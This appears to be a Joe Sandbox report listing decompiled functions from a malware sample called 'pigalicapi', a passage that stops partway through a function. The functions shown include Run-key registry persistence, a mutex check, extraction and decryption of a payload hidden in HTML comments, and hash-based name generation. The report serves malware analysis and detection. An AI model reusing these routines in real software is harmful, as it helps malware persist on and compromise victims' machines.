Part of subcall function 040087D0: QueryPerformanceCounter.KERNEL32(?), ref: 040087E7

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Virtual$Context$Acquire$AllocFree$DestroyErrorExportImportLast$CounterEncryptPerformanceQueryRelease
String ID:
API String ID: 487564122-0
Opcode ID: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction ID: 75e4ec9ffd75ad85335d37f2dbfda6536f989acb89096578b4a6032df118288e
Opcode Fuzzy Hash: cd64014fca8a1fd3dedaf543264f396e97ee9f29ef2d2d9375146d60c3b71fee
Instruction Fuzzy Hash: A0711CB6D00208ABEB14EFA4D845FEEB7B4BB48305F14C519EA15B72C0E774EA44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 040012D0 Relevance: 7.6, APIs: 5, Instructions: 57
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040012D0(CHAR* _a4) {
				CHAR* _v8;
				char* _v12;
				CHAR* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				long _t26;

				_v8 = _a4;
				if(_v8 != 0) {
					_v16 = _v8;
					_v12 = "software\\microsoft\\windows\\currentversion\\run";
					while( *0x4014370 == 0) {
						_v20 = 0x80000001;
						if(( *(_v8 + 0x30c) & 0x000000ff) != 0) {
							_v20 = 0x80000002;
						}
						_v24 = 0;
						_t26 = RegOpenKeyExA(_v20, _v12, 0, 0xf003f,  &_v24); // executed
						if(_t26 == 0) {
							_v28 = lstrlenA(_v16);
							RegSetValueExA(_v24, _v8 + 0x208, 0, 1, _v16, _v28); // executed
							RegCloseKey(_v24);
						}
						Sleep(0x1388); // executed
					}
				}
				return 0;
			}

APIs

RegOpenKeyExA.KERNEL32(80000001,0400C248,00000000,000F003F,00000000), ref: 04001337
lstrlenA.KERNEL32(?), ref: 04001345
RegSetValueExA.KERNELBASE(00000000,-00000208,00000000,00000001,?,?), ref: 04001368
RegCloseKey.ADVAPI32(00000000), ref: 04001372
Sleep.KERNEL32(00001388), ref: 0400137D

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenSleepValuelstrlen
String ID:
API String ID: 3411147897-0
Opcode ID: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction ID: 889d750eda8961b126f00a9021e235014b30ece64fb5bfebafecfaf2f158f27d
Opcode Fuzzy Hash: 938b7cb6186ad2cb83b89a2b0749dbfdb9b9446470f7ced15d3d2a40044d04a4
Instruction Fuzzy Hash: 12210070A04309EBEB04CFE4C949BAEB7B4FB44301F108258E641BB280D779AE40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B521A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 02B521F9
SetLastError.KERNEL32(0000007E), ref: 02B5223B

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 0a4b64bd4e5d8b7f1e91adeb02e1c79f52fbeba7da385d0b474a1b23aaead8a6
Instruction ID: 07443bcd8da31650c15e42d64a23012b211ce6bebdb163d09ffff92c4c610236
Opcode Fuzzy Hash: 0a4b64bd4e5d8b7f1e91adeb02e1c79f52fbeba7da385d0b474a1b23aaead8a6
Instruction Fuzzy Hash: 4C819674A01219EFDB04CF94C894BAEBBB1FF88354F148198ED59AB351D734AA81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04005E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005E00() {

				CreateMutexA(0, 0, "pigalicapi"); // executed
				return 0 | GetLastError() == 0x000000b7;
			}

0x04005e0c
0x04005e25

APIs

CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

Strings

pigalicapi, xrefs: 04005E03

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CreateErrorLastMutex
String ID: pigalicapi
API String ID: 1925916568-2184165135
Opcode ID: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction ID: c9a096dff23d34124f73a3e8575822b5ba186ec69b5811b6053c60030017a183
Opcode Fuzzy Hash: ac3ade5f6374e6b3d28c260e8624ddfb09fc106c0a6a63d5b6af1bc4c66bd4e9
Instruction Fuzzy Hash: FAC08C362883186BF2081B61ED4BB893A88C792E81F600030F30AEA0D0999968C08B16

Uniqueness

Uniqueness Score: -1.00%

Function 00814820 Relevance: 4.8, APIs: 1, Instructions: 3253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d9e57d56f03e4eb32d98c043259f0602398652354d549f7fd47c3a79d251fb8
Instruction ID: ab44e85acd7b4189ff70cc03f43a22d4164f04d3a936052a6e0107a988c563e9
Opcode Fuzzy Hash: 8d9e57d56f03e4eb32d98c043259f0602398652354d549f7fd47c3a79d251fb8
Instruction Fuzzy Hash: 38D05E7909AA80D7DE04CB2085A5A6B7350FFE7B01F11BD28D00BC7501E7385C08C406

Uniqueness

Uniqueness Score: -1.00%

Function 04008250 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008250(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v13;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _t48;
				intOrPtr _t51;
				intOrPtr _t58;
				char _t63;
				void* _t77;
				void* _t78;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v20 = _a4;
					_v13 = 0;
					while(_v12 < _a8 - 0xa && (_v13 & 0x000000ff) == 0) {
						_t48 = "<!--"; // 0x2d2d213c
						_v32 = _t48;
						_t63 =  *0x400c700; // 0x0
						_v28 = _t63;
						_t51 = E04007AF0(_v20 + _v12, _a8 - _v12,  &_v32, 4);
						_t78 = _t77 + 0x10;
						_v24 = _t51;
						if(_v24 == 0) {
						} else {
							_v12 = _v24 - _a4;
							_t28 = _v12 + 4; // 0x4
							_v36 = StrStrA(_v20 + _t28, "-->");
							if(_v36 != 0) {
								_v44 = _v36 - _v24 - 4;
								_t58 = E04008090(_v24 + 4, _v44, _a12, _a16); // executed
								_t77 = _t78 + 0x10;
								_v40 = _t58;
								if(_v40 > 0) {
									_v13 = 1;
									_v8 = _v40;
								}
								_v12 = _v12 + 4;
								continue;
							}
						}
						goto L16;
					}
				}
				L16:
				return _v8;
			}

APIs

StrStrA.SHLWAPI(00000004,-->), ref: 04008300

Part of subcall function 04008090: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8

Strings

-->, xrefs: 040082F0
<!--, xrefs: 040082B1

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: AllocVirtual
String ID: -->$<!--
API String ID: 4275171209-1166897919
Opcode ID: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction ID: 33a7bc7995a4c535701f75233fb1c46eed47e0fb0959c3fa2371b97aa1c284c8
Opcode Fuzzy Hash: 20dc3e6302552aac322e9474528943c8a2bb7ec5e025690798da4dc1e387ebc2
Instruction Fuzzy Hash: 23311971900249DFEF04EFA8C544BEEBBB1BB88308F14C959D505B7281E774AA84CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0400A400 Relevance: 4.6, APIs: 3, Instructions: 53
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0400A400(char* _a4, char* _a8, char* _a12, int _a16) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _t25;
				long _t27;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0x80000001;
					if(( *0x401435a & 0x000000ff) != 0) {
						_v12 = 0x80000002;
					}
					_v16 = 0;
					_t25 = RegOpenKeyExA(_v12, _a4, 0, 0xf003f,  &_v16); // executed
					if(_t25 == 0) {
						_v20 = _a16;
						_t27 = RegQueryValueExA(_v16, _a8, 0, 0, _a12,  &_v20); // executed
						if(_t27 == 0) {
							_v8 = _v20;
						}
						RegCloseKey(_v16); // executed
					}
				}
				return _v8;
			}

0x0400a406
0x0400a411
0x0400a429
0x0400a439
0x0400a43b
0x0400a43b
0x0400a442
0x0400a45c
0x0400a464
0x0400a469
0x0400a480
0x0400a488
0x0400a48d
0x0400a48d
0x0400a494
0x0400a494
0x0400a464
0x0400a4a0

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 0400A45C
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0400A480
RegCloseKey.KERNEL32(00000000), ref: 0400A494

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction ID: 715db8aa4ed00a9f1925e7802d1785fb3623660146ed6b0049a8ef53f9c2d8f0
Opcode Fuzzy Hash: 26c5e8be6951219e5415309ce84e58fa5b755f2e54e0236dd9c9ae8c1af765fa
Instruction Fuzzy Hash: 70110D74A00309EBEB15CF94C848BEF77B8FB84744F14C558E914AB680D7B8AA51CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008090 Relevance: 3.9, APIs: 3, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04008090(intOrPtr _a4, long _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				void* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				long _v52;
				void* _t71;
				intOrPtr _t73;
				void* _t91;
				void* _t93;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L13:
					return _v8;
				} else {
					_v16 = _a8;
					_t71 = VirtualAlloc(0, _v16, 0x3000, 4); // executed
					_v12 = _t71;
					if(_v12 != 0) {
						_t73 = E04001390(_v12, _a4, _v16, _v12, _v16); // executed
						_v20 = _t73;
						if(_v20 != 0) {
							_v24 = _v12;
							_v28 = _v20;
							_v32 = E040087B0(_v20,  *_v24) & 0x0000ffff;
							if(_v32 == 0xa) {
								_v40 =  *((intOrPtr*)(_v24 + 4));
								_v44 =  *((intOrPtr*)(_v24 + 8));
								_v36 = E040016F0(_v24 + 0xc, _v28 - 0xc);
								if(_v36 == _v44) {
									E04008630(_v24 + 0xc, 4, _v40);
									_v48 =  *((intOrPtr*)(_v24 + 0xc));
									E04008630(_v24 + 0x10, _v48, _v40);
									_v52 = _v28 - _v48 + 0x10;
									_t52 = _v48 + 0x10; // 0x10
									_t91 = E04008A70(_v24 + _t52,  &_v52, _v24 + 0x10, _v48, 0x4013410, 0x254); // executed
									if(_t91 != 0) {
										_t93 = VirtualAlloc(0, _v52, 0x3000, 4); // executed
										 *_a12 = _t93;
										if( *_a12 != 0) {
											_t60 = _v48 + 0x10; // 0x10
											E04007B70( *_a12, _v24 + _t60, _v52);
											 *_a16 = _v52;
											_v8 = _v52;
										}
									}
								}
							}
						}
						if(_v8 == 0) {
							VirtualFree(_v12, 0, 0x8000); // executed
						}
					}
					goto L13;
				}
			}

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040080D8
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04008240

Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008AD3
Part of subcall function 04008A70: GetLastError.KERNEL32 ref: 04008ADD
Part of subcall function 04008A70: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008B0C
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 04008B37
Part of subcall function 04008A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008B5E
Part of subcall function 04008A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 04008B7A
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B87
Part of subcall function 04008A70: CryptDestroyKey.ADVAPI32(00000000), ref: 04008B91
Part of subcall function 04008A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008B9D

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004), ref: 040081F1

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$ContextVirtual$AcquireAllocDestroyImport$DecryptErrorFreeLastRelease
String ID:
API String ID: 142027497-0
Opcode ID: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction ID: 586cb0610e47de0410656fb7eac1ad2d30ffe64d38e300cd8a2e1f05076280ab
Opcode Fuzzy Hash: 2080789f3f96790b22f6d08e37a4e2527d61b9d4c01572dffb2e446cb7e157f2
Instruction Fuzzy Hash: 3551E7B5E00209AFEB14DF98D984BEEB7B5BB48304F14C158E905BB381D774AA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005930 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E04005930(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v24;
				void _v52;
				intOrPtr _v56;
				signed int _v60;
				void* _t70;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0 && _a12 <= 0x10) {
					E04007B70( &_v24, _a4, 0x10);
					memcpy( &_v52, "abcdefghijklmnopqrstuvwxyz", 6 << 2);
					asm("movsw");
					asm("movsb");
					_v56 = 0;
					while(_v56 < _a12) {
						_v60 = (( *(_t70 + _v56 - 0x14) & 0x000000ff) + _v56 + 1) * (_v56 + 2) % 0x1a;
						_a8[_v56] =  *((intOrPtr*)(_t70 + _v60 - 0x30));
						if(_v56 == 0) {
							CharUpperA(_a8); // executed
						}
						_v8 = _v8 + 1;
						_v56 = _v56 + 1;
					}
				}
				return _v8;
			}

0x04005938
0x04005943
0x04005971
0x04005986
0x04005988
0x0400598a
0x0400598b
0x0400599d
0x040059c6
0x040059d6
0x040059dc
0x040059e2
0x040059e2
0x040059ee
0x0400599a
0x0400599a
0x0400599d
0x040059fb

APIs

CharUpperA.USER32(00000000), ref: 040059E2

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 0400597E

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: CharUpper
String ID: abcdefghijklmnopqrstuvwxyz
API String ID: 9403516-1277644989
Opcode ID: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction ID: f69ee34caa0c5af81cf691572c0dafb25cbc9a5132ff2a0986e08936ddab1125
Opcode Fuzzy Hash: 497a74bf9fc68f883eb5939cf665136b33a3e7b7514e3d025b1060dfed1370e2
Instruction Fuzzy Hash: F7210C35A06108EBEF04CF98D984BDDB7B6FF85315F248569E804A7280D375AA45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 04009400 Relevance: 3.1, APIs: 2, Instructions: 106
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009400(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v91;
				char _v92;
				char _v220;
				intOrPtr _t59;
				void* _t103;
				void* _t104;
				void* _t106;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_t56 = E04007B70( &_v28, _a4 + 0x45b, 0x10);
					_t104 = _t103 + 0xc;
					_v12 = _v28 ^ _v24 ^ _v20 ^ _v16;
					_v32 = 0;
					while(_v32 < _a12) {
						E04007D20(_t56,  &_v220, 0, 0x80);
						_t59 = E04008BB0( &_v12, 4,  &_v220, 0x80); // executed
						_t106 = _t104 + 0x1c;
						_v40 = _t59;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v220;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v220, _v40, _v32 * 0x1e + _a8, _v36);
						E04007D20( &_v92,  &_v92, 0, 0x32);
						_t104 = _t106 + 0x1c;
						lstrcpyA( &_v92, _v32 * 0x1e + _a8);
						_v91 = 0;
						CharUpperA( &_v92);
						 *((char*)(_a8 + _v32 * 0x1e)) = _v92;
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_t56 = _v32 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

APIs

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcpyA.KERNEL32(?,00000000), ref: 04009513
CharUpperA.USER32(?), ref: 04009521

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CharCreateDataDestroyErrorLastReleaseUpperlstrcpy
String ID:
API String ID: 2710640451-0
Opcode ID: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction ID: bc5be7810042b5ebbd7ddf8470aca826c8a0736d185973949ab2100ea4ccd4f3
Opcode Fuzzy Hash: 8d992d858b78b8c12e31d27f4ae823d4f8e581c9f8660fd8284da344811b5e85
Instruction Fuzzy Hash: 564119B1D00208EBEB44DFD4C881BEEBBB5EF58308F10C15AD515BB281E774AA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02B521EA Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 02B521F9
SetLastError.KERNEL32(0000007E), ref: 02B5223B
SetLastError.KERNEL32(0000000E), ref: 02B5228B

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$HugeRead
String ID:
API String ID: 100728148-0
Opcode ID: 35b556f18de54d6e509953a89c848922c00f68d86527bf6e65eb02786747f107
Instruction ID: ec7eab9a30dd742e4baa14d4b2b2eec474931589f839107256b369933240368f
Opcode Fuzzy Hash: 35b556f18de54d6e509953a89c848922c00f68d86527bf6e65eb02786747f107
Instruction Fuzzy Hash: AF01F674A01208EFDB00CF94C945BAEBBB1EF48314F2482D8E909AB340C734EA50CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 040097C0 Relevance: 3.0, APIs: 2, Instructions: 12
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097C0(void* _a4) {
				void* _t3;
				char _t6;

				if(_a4 != 0) {
					_t6 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t6;
				}
				return _t3;
			}

0x040097c7
0x040097d6
0x00000000
0x040097d6
0x040097dd

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
RtlFreeHeap.NTDLL(00000000), ref: 040097D6

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: a6464bf9f777ffb9bb0c8bcc6ffd973ce71ca1ca90abca8fff71af8c88fd8392
Instruction ID: 2832c38799f6bf1d51ab83c3035fa25f48ec3c6083bfe65adac79a8cd9b78ebe
Opcode Fuzzy Hash: a6464bf9f777ffb9bb0c8bcc6ffd973ce71ca1ca90abca8fff71af8c88fd8392
Instruction Fuzzy Hash: BBC01271004208ABEB449F94D40CBA537ACEB04305F048111B60C95490C7789CC0C751

Uniqueness

Uniqueness Score: -1.00%

Function 040097A0 Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040097A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x040097b0
0x040097b7

APIs

GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction ID: 51615621b5a1f832d01dc3b7a4cc229a82638b6a1205cca077e68d01418531cd
Opcode Fuzzy Hash: e19e0248bdcccd87c05d7a61fb539eafc2efb7858191fd7307808dd8c9195d95
Instruction Fuzzy Hash: 93C09B71144308ABE6449FD8E80DD95375DE748601F004111B70DD6141CB7CAD84C762

Uniqueness

Uniqueness Score: -1.00%

Function 02B51D10 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970f856ceb6774d6d55eafb80a8567d1f43e5d322a02fda43bc548f14acea223
Instruction ID: a475ccf704ffb9bb44a5ab9dad4d632a8792405e2d5779c6f696b187b5087f34
Opcode Fuzzy Hash: 970f856ceb6774d6d55eafb80a8567d1f43e5d322a02fda43bc548f14acea223
Instruction Fuzzy Hash: 6041C974A10119AFDB04CF48C494BAAB7B2FF88314F24C599EC195F395D775EA82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0081D312 Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0081D312(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
